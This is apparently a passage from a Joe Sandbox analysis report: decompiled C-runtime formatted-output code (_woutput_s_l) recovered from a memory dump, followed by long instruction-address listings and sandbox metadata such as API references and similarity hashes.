																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x4a0) = E00428330(__ebp + 0x14);
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428330(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L167;
																				}
																				goto L163;
																			}
																		case 0xe:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																	}
																case 8:
																	L24:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000002;
																	 *(__ebp - 0x10) = __ecx;
																	goto L27;
																case 9:
																	L25:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	goto L27;
																case 0xa:
																	L23:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																	goto L27;
																case 0xb:
																	L22:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	goto L27;
																case 0xc:
																	L26:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000008;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L27;
																case 0xd:
																	L27:
																	goto L214;
															}
														} else {
															_t517 = 0;
															if(0 == 0) {
																 *(_t525 - 0x4dc) = 0;
															} else {
																 *(_t525 - 0x4dc) = 1;
															}
															 *(_t525 - 0x46c) =  *(_t525 - 0x4dc);
															if( *(_t525 - 0x46c) == 0) {
																_push(L"(\"Incorrect format specifier\", 0)");
																_push(0);
																_push(0x460);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t498 = L0041E330();
																_t527 = _t527 + 0x14;
																if(_t498 == 1) {
																	asm("int3");
																}
															}
															L14:
															if( *(_t525 - 0x46c) != 0) {
																goto L16;
															} else {
																 *((intOrPtr*)(L00422E20(_t510))) = 0x16;
																E00422BB0(_t501, _t510, _t523, _t524, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																 *(_t525 - 0x4c8) = 0xffffffff;
																E0041ADD0(_t525 - 0x40);
																_t483 =  *(_t525 - 0x4c8);
																L225:
																return E0042BC70(_t483, _t501,  *(_t525 - 0x48) ^ _t525, _t517, _t523, _t524);
															}
														}
													}
													L215:
													__eflags =  *(_t525 - 0x45c);
													if( *(_t525 - 0x45c) == 0) {
														L218:
														 *(_t525 - 0x4f8) = 1;
														L219:
														_t517 =  *(_t525 - 0x4f8);
														 *(_t525 - 0x4bc) =  *(_t525 - 0x4f8);
														__eflags =  *(_t525 - 0x4bc);
														if( *(_t525 - 0x4bc) == 0) {
															_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
															_push(0);
															_push(0x8f5);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t488 = L0041E330();
															_t527 = _t527 + 0x14;
															__eflags = _t488 - 1;
															if(_t488 == 1) {
																asm("int3");
															}
														}
														__eflags =  *(_t525 - 0x4bc);
														if( *(_t525 - 0x4bc) != 0) {
															 *(_t525 - 0x4d4) =  *(_t525 - 0x44c);
															E0041ADD0(_t525 - 0x40);
															_t483 =  *(_t525 - 0x4d4);
														} else {
															 *((intOrPtr*)(L00422E20(_t502))) = 0x16;
															E00422BB0(_t501, _t502, _t523, _t524, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
															 *(_t525 - 0x4d0) = 0xffffffff;
															E0041ADD0(_t525 - 0x40);
															_t483 =  *(_t525 - 0x4d0);
														}
														goto L225;
													}
													L216:
													__eflags =  *(_t525 - 0x45c) - 7;
													if( *(_t525 - 0x45c) == 7) {
														goto L218;
													}
													L217:
													 *(_t525 - 0x4f8) = 0;
													goto L219;
												}
											}
											L184:
											__eflags =  *(__ebp - 0x24);
											if( *(__ebp - 0x24) == 0) {
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												goto L187;
											}
											L185:
											__eax =  *(__ebp - 4);
											__ecx =  *( *(__ebp - 4));
											__eflags = __ecx - 0x30;
											if(__ecx == 0x30) {
												goto L187;
											}
											goto L186;
										}
										L180:
										__eax =  *(__ebp - 8);
										asm("cdq");
										__ecx =  *(__ebp - 0x4a4);
										__edx =  *(__ebp - 0x4a8);
										__eax = E00430740( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
										 *(__ebp - 0x494) = __eax;
										__eax =  *(__ebp - 8);
										asm("cdq");
										__eax =  *(__ebp - 0x4a4);
										__ecx =  *(__ebp - 0x4a8);
										 *(__ebp - 0x4a8) = E004307C0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
										 *(__ebp - 0x4a4) = __edx;
										__eflags =  *(__ebp - 0x494) - 0x39;
										if( *(__ebp - 0x494) > 0x39) {
											__edx =  *(__ebp - 0x494);
											__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
											__eflags = __edx;
											 *(__ebp - 0x494) = __edx;
										}
										__eax =  *(__ebp - 4);
										 *( *(__ebp - 4)) =  *(__ebp - 0x494);
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										L178:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L180;
										}
										goto L179;
									}
								}
								L165:
								__eflags =  *(__ebp - 0x4a0);
								if( *(__ebp - 0x4a0) >= 0) {
									goto L167;
								}
								goto L166;
								L167:
								__ecx =  *(__ebp - 0x4a0);
								 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
								__edx =  *(__ebp - 0x49c);
								 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
								goto L168;
							}
						}
					}
				}
			}

0x0043c366
0x0043c366
0x0043c366
0x0043c366
0x0043c366
0x0043c366
0x0043c366
0x0043c36d
0x0043c36d
0x0043c36d
0x0043c383
0x0043c383
0x0043c383
0x0043c38d
0x0043c38d
0x0043c393
0x0043c395
0x0043c39a
0x0043c3a4
0x0043c3a4
0x0043c3a7
0x0043c3ab
0x0043c3ab
0x0043c3d2
0x0043c3d2
0x0043c3d5
0x0043c3d5
0x0043c3da
0x0043c3fc
0x0043c3fc
0x0043c402
0x0043c424
0x0043c424
0x0043c427
0x0043c46e
0x0043c46e
0x0043c471
0x0043c48e
0x0043c492
0x0043c49a
0x0043c49a
0x0043c49c
0x0043c4a2
0x0043c473
0x0043c473
0x0043c477
0x0043c47f
0x0043c480
0x0043c486
0x0043c486
0x0043c429
0x0043c42c
0x0043c42c
0x0043c42f
0x0043c44d
0x0043c459
0x0043c45c
0x0043c45d
0x0043c463
0x0043c431
0x0043c431
0x0043c435
0x0043c43d
0x0043c43e
0x0043c43f
0x0043c445
0x0043c445
0x0043c469
0x0043c404
0x0043c404
0x0043c410
0x0043c416
0x0043c416
0x0043c3dc
0x0043c3dc
0x0043c3e8
0x0043c3ee
0x0043c3ee
0x0043c4ab
0x0043c4ab
0x0043c4ae
0x00000000
0x00000000
0x0043c4b0
0x0043c4b0
0x0043c4b7
0x00000000
0x00000000
0x0043c4b9
0x0043c4b9
0x0043c4c4
0x0043c4ca
0x0043c4cc
0x0043c4d2
0x0043c4d5
0x0043c4d7
0x0043c4dd
0x0043c4e6
0x0043c4eb
0x0043c508
0x0043c50b
0x0043c50b
0x0043c510
0x0043c515
0x0043c515
0x0043c51b
0x0043c51d
0x0043c523
0x0043c529
0x0043c529
0x0043c532
0x0043c532
0x0043c51b
0x0043c538
0x0043c53c
0x0043c54a
0x0043c54d
0x0043c550
0x0043c557
0x0043c559
0x0043c559
0x0043c53e
0x0043c53e
0x0043c53e
0x0043c566
0x0043c566
0x0043c56c
0x0043c56e
0x0043c56e
0x0043c575
0x0043c57b
0x0043c57e
0x0043c57e
0x0043c57e
0x0043c584
0x0043c587
0x0043c58a
0x0043c58c
0x00000000
0x00000000
0x0043c58e
0x0043c594
0x0043c594
0x0043c59a
0x0043c617
0x0043c61d
0x0043c620
0x0043c623
0x0043c626
0x0043c629
0x0043c62f
0x0043c62f
0x0043c635
0x0043c660
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x0043c66a
0x0043c66d
0x0043c66d
0x0043c670
0x0043c675
0x0043c675
0x0043c67a
0x0043c691
0x0043c691
0x0043c694
0x0043c6ab
0x0043c6ab
0x0043c6ae
0x0043c6b0
0x0043c6b5
0x0043c6b9
0x0043c6b9
0x0043c696
0x0043c696
0x0043c69b
0x0043c69f
0x0043c69f
0x0043c67c
0x0043c67c
0x0043c681
0x0043c685
0x0043c685
0x0043c67a
0x0043c6c3
0x0043c6c6
0x0043c6c9
0x0043c6d2
0x0043c6d2
0x0043c6d5
0x0043c6d7
0x0043c6de
0x0043c6e2
0x0043c6eb
0x0043c6f0
0x0043c6f3
0x0043c6fa
0x0043c6fe
0x0043c702
0x0043c70e
0x0043c711
0x0043c711
0x0043c714
0x0043c719
0x0043c719
0x0043c71c
0x0043c71e
0x0043c725
0x0043c729
0x0043c732
0x0043c737
0x0043c71c
0x0043c73a
0x0043c73e
0x0043c7f8
0x0043c7f8
0x0043c7ff
0x0043c803
0x0043c807
0x0043c80b
0x00000000
0x0043c744
0x0043c744
0x0043c744
0x0043c748
0x00000000
0x00000000
0x0043c74e
0x0043c74e
0x0043c751
0x0043c757
0x0043c75a
0x0043c760
0x0043c760
0x0043c760
0x0043c76c
0x0043c76f
0x0043c775
0x0043c777
0x00000000
0x00000000
0x0043c779
0x0043c779
0x0043c77c
0x0043c782
0x0043c78a
0x0043c78c
0x0043c793
0x0043c79a
0x0043c7a9
0x0043c7af
0x0043c7b6
0x0043c7c4
0x0043c7c4
0x0043c7cb
0x0043c7d7
0x0043c7e5
0x0043c7eb
0x00000000
0x0043c7eb
0x0043c7b8
0x0043c7b8
0x00000000
0x0043c7b8
0x0043c7f6
0x0043c813
0x0043c813
0x0043c81a
0x0043c81f
0x0043c81f
0x0043c822
0x0043c824
0x0043c82b
0x0043c838
0x0043c83d
0x0043c822
0x0043c81a
0x0043c840
0x0043c840
0x0043c844
0x0043c848
0x0043c84c
0x0043c854
0x0043c854
0x0043c85b
0x0043c85b
0x0043b9db
0x0043b9e2
0x0043b9ef
0x0043b9f4
0x00000000
0x0043ba07
0x0043ba11
0x0043ba38
0x0043ba1f
0x0043ba30
0x0043ba30
0x0043ba11
0x0043ba42
0x0043ba48
0x0043ba54
0x0043ba57
0x0043ba65
0x0043ba68
0x0043ba75
0x0043bb1a
0x0043bb20
0x0043bb26
0x0043bb2d
0x00000000
0x00000000
0x0043bb33
0x0043bb39
0x00000000
0x0043bb40
0x0043bb40
0x0043bb5a
0x0043bb5f
0x00000000
0x00000000
0x0043bb67
0x0043bb67
0x0043bb6e
0x0043bb71
0x0043bb74
0x0043bb77
0x0043bb7a
0x0043bb7d
0x0043bb80
0x0043bb87
0x0043bb8e
0x00000000
0x00000000
0x0043bb9a
0x0043bb9a
0x0043bba1
0x0043bbad
0x0043bbb0
0x0043bbb6
0x0043bbbd
0x00000000
0x00000000
0x0043bbbf
0x0043bbc5
0x0043bbc5
0x0043bbcc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bc10
0x0043bc10
0x0043bc17
0x0043bc1a
0x0043bc44
0x0043bc47
0x0043bc47
0x0043bc51
0x0043bc51
0x0043bc55
0x0043bc1c
0x0043bc1c
0x0043bc28
0x0043bc2b
0x0043bc2f
0x0043bc31
0x0043bc34
0x0043bc34
0x0043bc37
0x0043bc3a
0x0043bc3d
0x0043bc3f
0x0043bc3f
0x0043bc42
0x0043bc58
0x00000000
0x00000000
0x0043bc5d
0x0043bc5d
0x00000000
0x00000000
0x0043bc69
0x0043bc69
0x0043bc70
0x0043bc73
0x0043bc93
0x0043bc96
0x0043bc96
0x0043bca0
0x0043bca0
0x0043bca4
0x0043bc75
0x0043bc75
0x0043bc81
0x0043bc84
0x0043bc88
0x0043bc8a
0x0043bc8a
0x0043bc91
0x00000000
0x00000000
0x0043bcac
0x0043bcac
0x0043bcb3
0x0043bcbf
0x0043bcc2
0x0043bcc8
0x0043bccf
0x0043bde2
0x00000000
0x0043bde2
0x0043bcd5
0x0043bcdb
0x0043bcdb
0x0043bce2
0x00000000
0x0043bd19
0x0043bd19
0x0043bd1c
0x0043bd1f
0x0043bd22
0x0043bd49
0x0043bd49
0x0043bd4c
0x0043bd4f
0x0043bd52
0x0043bd76
0x0043bd76
0x0043bd79
0x0043bd7c
0x0043bd7f
0x0043bdb8
0x0043bdc9
0x00000000
0x0043bdc9
0x0043bd81
0x0043bd81
0x0043bd84
0x0043bd87
0x0043bd8a
0x00000000
0x00000000
0x0043bd8c
0x0043bd8c
0x0043bd8f
0x0043bd92
0x0043bd95
0x00000000
0x00000000
0x0043bd97
0x0043bd97
0x0043bd9a
0x0043bd9d
0x0043bda0
0x00000000
0x00000000
0x0043bda2
0x0043bda2
0x0043bda5
0x0043bda8
0x0043bdab
0x00000000
0x00000000
0x0043bdad
0x0043bdad
0x0043bdb0
0x0043bdb3
0x0043bdb6
0x0043bdba
0x00000000
0x0043bdba
0x00000000
0x0043bdb6
0x0043bd54
0x0043bd54
0x0043bd57
0x0043bd5b
0x0043bd5e
0x00000000
0x0043bd60
0x0043bd63
0x0043bd66
0x0043bd6c
0x0043bd71
0x00000000
0x0043bd71
0x0043bd5e
0x0043bd24
0x0043bd24
0x0043bd27
0x0043bd2b
0x0043bd2e
0x00000000
0x0043bd30
0x0043bd33
0x0043bd36
0x0043bd3c
0x0043bd41
0x00000000
0x0043bd41
0x00000000
0x0043bdcb
0x0043bdcb
0x0043bdce
0x0043bdd1
0x00000000
0x00000000
0x0043bce9
0x0043bce9
0x0043bcec
0x0043bcef
0x0043bcf2
0x0043bd0b
0x0043bd0e
0x0043bd0e
0x0043bd11
0x0043bcf4
0x0043bcf4
0x0043bcf7
0x0043bcfa
0x0043bd00
0x0043bd06
0x0043bd06
0x00000000
0x00000000
0x0043bdd6
0x0043bdd6
0x0043bdd9
0x0043bdd9
0x0043bddf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bde7
0x0043bde7
0x0043bdee
0x0043bdf4
0x0043bdfa
0x0043bdfd
0x0043be03
0x0043be0a
0x0043c660
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x00000000
0x0043c664
0x0043c660
0x0043be10
0x0043be16
0x0043be16
0x0043be1d
0x00000000
0x0043c1a1
0x0043c1a1
0x0043c1af
0x0043c1af
0x0043c1b2
0x00000000
0x00000000
0x0043be24
0x0043be27
0x0043be27
0x0043be2d
0x0043be2f
0x0043be32
0x0043be32
0x0043be35
0x0043be35
0x00000000
0x00000000
0x0043bf6a
0x0043bf6d
0x0043bf6d
0x0043bf72
0x0043bf74
0x0043bf77
0x0043bf77
0x0043bf7a
0x0043bf7a
0x00000000
0x00000000
0x0043c36d
0x0043c36d
0x00000000
0x00000000
0x0043bed4
0x0043bed4
0x0043bee0
0x0043bee6
0x0043beed
0x0043befb
0x0043befb
0x0043bf01
0x0043bf04
0x0043bf10
0x0043bf65
0x00000000
0x0043bf65
0x0043beef
0x0043beef
0x0043bef5
0x0043bef9
0x0043bf18
0x0043bf18
0x0043bf1e
0x0043bf46
0x0043bf4d
0x0043bf53
0x0043bf56
0x0043bf59
0x0043bf5f
0x0043bf62
0x0043bf20
0x0043bf20
0x0043bf26
0x0043bf29
0x0043bf2c
0x0043bf32
0x0043bf35
0x0043bf38
0x0043bf3a
0x0043bf3d
0x0043bf3d
0x00000000
0x0043bf1e
0x00000000
0x00000000
0x0043c1b9
0x0043c1bc
0x0043c1bf
0x0043c1c2
0x0043c1c8
0x0043c1cb
0x0043c1d2
0x0043c1d6
0x0043c1e1
0x0043c1e1
0x0043c1e5
0x0043c1fc
0x0043c1fc
0x0043c203
0x0043c205
0x0043c205
0x0043c20c
0x0043c20c
0x0043c213
0x0043c221
0x0043c224
0x0043c233
0x0043c236
0x0043c23a
0x0043c24f
0x0043c23c
0x0043c23c
0x0043c23f
0x0043c245
0x0043c24a
0x0043c24a
0x0043c23a
0x0043c259
0x0043c25c
0x0043c25f
0x0043c262
0x0043c265
0x0043c268
0x0043c26e
0x0043c274
0x0043c27c
0x0043c27d
0x0043c280
0x0043c281
0x0043c284
0x0043c285
0x0043c28c
0x0043c28d
0x0043c290
0x0043c291
0x0043c294
0x0043c295
0x0043c29b
0x0043c29c
0x0043c2ab
0x0043c2ad
0x0043c2b3
0x0043c2b3
0x0043c2b8
0x0043c2ba
0x0043c2be
0x0043c2c0
0x0043c2c8
0x0043c2c9
0x0043c2cc
0x0043c2cd
0x0043c2dc
0x0043c2de
0x0043c2de
0x0043c2be
0x0043c2e1
0x0043c2e8
0x0043c2eb
0x0043c2f0
0x0043c2f0
0x0043c2f6
0x0043c2f8
0x0043c300
0x0043c301
0x0043c304
0x0043c305
0x0043c313
0x0043c315
0x0043c315
0x0043c2f6
0x0043c318
0x0043c31b
0x0043c31e
0x0043c321
0x0043c326
0x0043c32b
0x0043c32e
0x0043c331
0x0043c331
0x0043c334
0x0043c334
0x0043c337
0x0043c343
0x0043c660
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x00000000
0x0043c664
0x00000000
0x0043c660
0x0043c1e7
0x0043c1e7
0x0043c1ee
0x0043c1f1
0x00000000
0x00000000
0x0043c1f3
0x0043c1f3
0x00000000
0x0043c1f3
0x0043c1d8
0x0043c1d8
0x00000000
0x00000000
0x0043be38
0x0043be38
0x0043be43
0x0043be4b
0x0043be52
0x0043be55
0x0043be55
0x0043be58
0x0043beb1
0x0043beb8
0x0043be5a
0x0043be61
0x0043be67
0x0043be6d
0x0043be74
0x0043be77
0x0043be7d
0x0043be85
0x0043be87
0x0043be8e
0x0043be95
0x0043be9c
0x0043bea4
0x0043bea6
0x0043bea8
0x0043bea8
0x0043beaf
0x0043bebf
0x0043bec5
0x0043bec8
0x0043c660
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x00000000
0x0043c664
0x00000000
0x0043c34b
0x0043c34e
0x0043c351
0x0043c354
0x00000000
0x00000000
0x0043c0aa
0x0043c0aa
0x0043c0b6
0x0043c0bc
0x0043c0c1
0x0043c0c3
0x0043c16d
0x0043c16d
0x0043c170
0x0043c170
0x0043c173
0x0043c187
0x0043c18d
0x0043c193
0x0043c175
0x0043c175
0x0043c17b
0x0043c182
0x0043c182
0x0043c195
0x0043c660
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x00000000
0x0043c664
0x0043c660
0x0043c0c9
0x0043c0c9
0x0043c0c9
0x0043c0cb
0x0043c0d9
0x0043c0cd
0x0043c0cd
0x0043c0cd
0x0043c0e3
0x0043c0e9
0x0043c0ef
0x0043c0f6
0x0043c0f8
0x0043c0fd
0x0043c0ff
0x0043c104
0x0043c109
0x0043c10b
0x0043c110
0x0043c113
0x0043c116
0x0043c118
0x0043c118
0x0043c116
0x0043c119
0x0043c120
0x0043c168
0x0043c660
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x00000000
0x0043c664
0x0043c122
0x0043c122
0x0043c127
0x0043c143
0x0043c14b
0x0043c155
0x0043c158
0x0043c15d
0x00000000
0x0043c15d
0x00000000
0x0043c3b4
0x0043c3b4
0x0043c3be
0x0043c3be
0x0043c3c4
0x0043c3c6
0x0043c3c9
0x0043c3c9
0x0043c3cf
0x0043c3cf
0x0043c3d2
0x0043c3d5
0x0043c3d5
0x0043c3da
0x0043c3fc
0x0043c3fc
0x0043c402
0x0043c424
0x0043c424
0x0043c427
0x0043c46e
0x0043c46e
0x0043c471
0x0043c48e
0x0043c492
0x0043c49a
0x0043c49a
0x0043c49c
0x0043c4a2
0x0043c473
0x0043c473
0x0043c477
0x0043c47f
0x0043c480
0x0043c486
0x0043c486
0x0043c429
0x0043c42c
0x0043c42c
0x0043c42f
0x0043c44d
0x0043c459
0x0043c45c
0x0043c45d
0x0043c463
0x0043c431
0x0043c431
0x0043c435
0x0043c43d
0x0043c43e
0x0043c43f
0x0043c445
0x0043c445
0x0043c469
0x0043c404
0x0043c404
0x0043c410
0x0043c416
0x0043c416
0x0043c3dc
0x0043c3dc
0x0043c3e8
0x0043c3ee
0x0043c3ee
0x0043c4ab
0x0043c4ab
0x0043c4ae
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bf7d
0x0043bf7d
0x0043bf81
0x0043bf8f
0x0043bf92
0x0043bf83
0x0043bf83
0x0043bf83
0x0043bf98
0x0043bf9e
0x0043bfa4
0x0043bfb0
0x0043bfb6
0x0043bfb6
0x0043bfb9
0x0043c041
0x0043c041
0x0043c045
0x0043c047
0x0043c04d
0x0043c04d
0x0043c050
0x0043c057
0x0043c05a
0x0043c060
0x0043c060
0x0043c060
0x0043c066
0x0043c06c
0x0043c06f
0x0043c075
0x0043c077
0x00000000
0x00000000
0x0043c079
0x0043c079
0x0043c07f
0x0043c082
0x0043c084
0x00000000
0x00000000
0x0043c086
0x0043c08c
0x0043c08f
0x0043c08f
0x0043c097
0x0043c097
0x0043c09d
0x0043c09d
0x0043c0a2
0x00000000
0x0043bfbf
0x0043bfbf
0x0043bfbf
0x0043bfc3
0x0043bfc5
0x0043bfca
0x0043bfca
0x0043bfcd
0x0043bfd0
0x0043bfd6
0x0043bfe8
0x0043bfe8
0x0043bfe8
0x0043bfeb
0x0043bff1
0x00000000
0x00000000
0x0043bff3
0x0043bff3
0x0043bff9
0x0043bffc
0x0043bffe
0x00000000
0x00000000
0x0043c000
0x0043c000
0x0043c009
0x0043c00f
0x0043c013
0x0043c01b
0x0043c01d
0x0043c01f
0x0043c025
0x0043c025
0x0043c028
0x0043c028
0x0043c034
0x0043c037
0x0043bfdf
0x0043bfe2
0x0043bfe2
0x0043bfe5
0x0043bfe5
0x0043c03f
0x0043c0a5
0x0043c660
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x00000000
0x0043c664
0x0043c660
0x00000000
0x0043c35d
0x0043c35d
0x0043c3d2
0x0043c3d2
0x0043c3d5
0x0043c3d5
0x0043c3da
0x0043c3fc
0x0043c3fc
0x0043c402
0x0043c424
0x0043c424
0x0043c427
0x0043c46e
0x0043c46e
0x0043c471
0x0043c48e
0x0043c492
0x0043c49a
0x0043c49a
0x0043c49c
0x0043c4a2
0x0043c473
0x0043c473
0x0043c477
0x0043c47f
0x0043c480
0x0043c486
0x0043c486
0x0043c429
0x0043c42c
0x0043c42c
0x0043c42f
0x0043c44d
0x0043c459
0x0043c45c
0x0043c45d
0x0043c463
0x0043c431
0x0043c431
0x0043c435
0x0043c43d
0x0043c43e
0x0043c43f
0x0043c445
0x0043c445
0x0043c469
0x0043c404
0x0043c404
0x0043c410
0x0043c416
0x0043c416
0x0043c3dc
0x0043c3dc
0x0043c3e8
0x0043c3ee
0x0043c3ee
0x0043c4ab
0x0043c4ab
0x0043c4ae
0x00000000
0x00000000
0x00000000
0x0043c4ae
0x00000000
0x0043c379
0x0043c379
0x0043c383
0x0043c383
0x0043c38d
0x0043c38d
0x0043c393
0x0043c395
0x0043c39a
0x0043c3a4
0x0043c3a4
0x0043c3a7
0x0043c3ab
0x0043c3ab
0x0043c3d2
0x0043c3d2
0x0043c3d5
0x0043c3d5
0x0043c3da
0x0043c3fc
0x0043c3fc
0x0043c402
0x0043c424
0x0043c424
0x0043c427
0x0043c46e
0x0043c46e
0x0043c471
0x0043c48e
0x0043c492
0x0043c49a
0x0043c49a
0x0043c49c
0x0043c4a2
0x0043c473
0x0043c473
0x0043c477
0x0043c47f
0x0043c480
0x0043c486
0x0043c486
0x0043c429
0x0043c42c
0x0043c42c
0x0043c42f
0x0043c44d
0x0043c459
0x0043c45c
0x0043c45d
0x0043c463
0x0043c431
0x0043c431
0x0043c435
0x0043c43d
0x0043c43e
0x0043c43f
0x0043c445
0x0043c445
0x0043c469
0x0043c404
0x0043c404
0x0043c410
0x0043c416
0x0043c416
0x0043c3dc
0x0043c3dc
0x0043c3e8
0x0043c3ee
0x0043c3ee
0x0043c4ab
0x0043c4ab
0x0043c4ae
0x00000000
0x00000000
0x00000000
0x0043c4ae
0x00000000
0x0043c660
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x00000000
0x0043c664
0x00000000
0x00000000
0x0043bbe9
0x0043bbe9
0x0043bbec
0x0043bbef
0x00000000
0x00000000
0x0043bbf4
0x0043bbf7
0x0043bbfd
0x00000000
0x00000000
0x0043bbde
0x0043bbe1
0x0043bbe4
0x00000000
0x00000000
0x0043bbd3
0x0043bbd6
0x0043bbd9
0x00000000
0x00000000
0x0043bc02
0x0043bc02
0x0043bc05
0x0043bc05
0x0043bc08
0x00000000
0x00000000
0x0043bc0b
0x00000000
0x00000000
0x0043ba7b
0x0043ba7b
0x0043ba7d
0x0043ba8b
0x0043ba7f
0x0043ba7f
0x0043ba7f
0x0043ba9b
0x0043baa8
0x0043baaa
0x0043baaf
0x0043bab1
0x0043bab6
0x0043babb
0x0043babd
0x0043bac2
0x0043bac8
0x0043baca
0x0043baca
0x0043bac8
0x0043bacb
0x0043bad2
0x00000000
0x0043bad4
0x0043bad9
0x0043baf5
0x0043bafd
0x0043bb0a
0x0043bb0f
0x0043c924
0x0043c931
0x0043c931
0x0043bad2
0x0043ba75
0x0043c860
0x0043c860
0x0043c867
0x0043c87e
0x0043c87e
0x0043c888
0x0043c888
0x0043c88e
0x0043c894
0x0043c89b
0x0043c89d
0x0043c8a2
0x0043c8a4
0x0043c8a9
0x0043c8ae
0x0043c8b0
0x0043c8b5
0x0043c8b8
0x0043c8bb
0x0043c8bd
0x0043c8bd
0x0043c8bb
0x0043c8be
0x0043c8c5
0x0043c910
0x0043c919
0x0043c91e
0x0043c8c7
0x0043c8cc
0x0043c8e8
0x0043c8f0
0x0043c8fd
0x0043c902
0x0043c902
0x00000000
0x0043c8c5
0x0043c869
0x0043c869
0x0043c870
0x00000000
0x00000000
0x0043c872
0x0043c872
0x00000000
0x0043c872
0x0043c660
0x0043c637
0x0043c637
0x0043c63b
0x0043c648
0x0043c64b
0x0043c64e
0x0043c651
0x0043c654
0x0043c657
0x0043c65a
0x0043c65a
0x0043c65d
0x00000000
0x0043c65d
0x0043c63d
0x0043c63d
0x0043c640
0x0043c643
0x0043c646
0x00000000
0x00000000
0x00000000
0x0043c646
0x0043c59c
0x0043c59c
0x0043c59f
0x0043c5a2
0x0043c5a9
0x0043c5b0
0x0043c5b8
0x0043c5be
0x0043c5c1
0x0043c5c4
0x0043c5cb
0x0043c5d7
0x0043c5dd
0x0043c5e3
0x0043c5ea
0x0043c5ec
0x0043c5f2
0x0043c5f2
0x0043c5f8
0x0043c5f8
0x0043c5fe
0x0043c607
0x0043c60c
0x0043c60f
0x0043c57e
0x0043c57e
0x0043c584
0x0043c587
0x0043c58a
0x0043c58c
0x00000000
0x00000000
0x00000000
0x0043c58c
0x0043c57e
0x0043c4bb
0x0043c4bb
0x0043c4c2
0x00000000
0x00000000
0x00000000
0x0043c4f0
0x0043c4f0
0x0043c4f6
0x0043c4fc
0x0043c502
0x00000000
0x0043c502
0x0043c3d2
0x0043c383
0x0043c36d

APIs

_get_int64_arg.LIBCMTD ref: 0043C3E0
__aullrem.LIBCMT ref: 0043C5B0
__aulldiv.LIBCMT ref: 0043C5D2

Strings

9, xrefs: 0043C5E3

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: a45bf9ffedb1c13bae317dfab0017e0f9bc5b40c5b13e368e178c00019d18cb5
Instruction ID: bb4032d7aff8274876295df4ffdffcacff98ec56fd6b21f6eb4d6e8b5b24ccdf
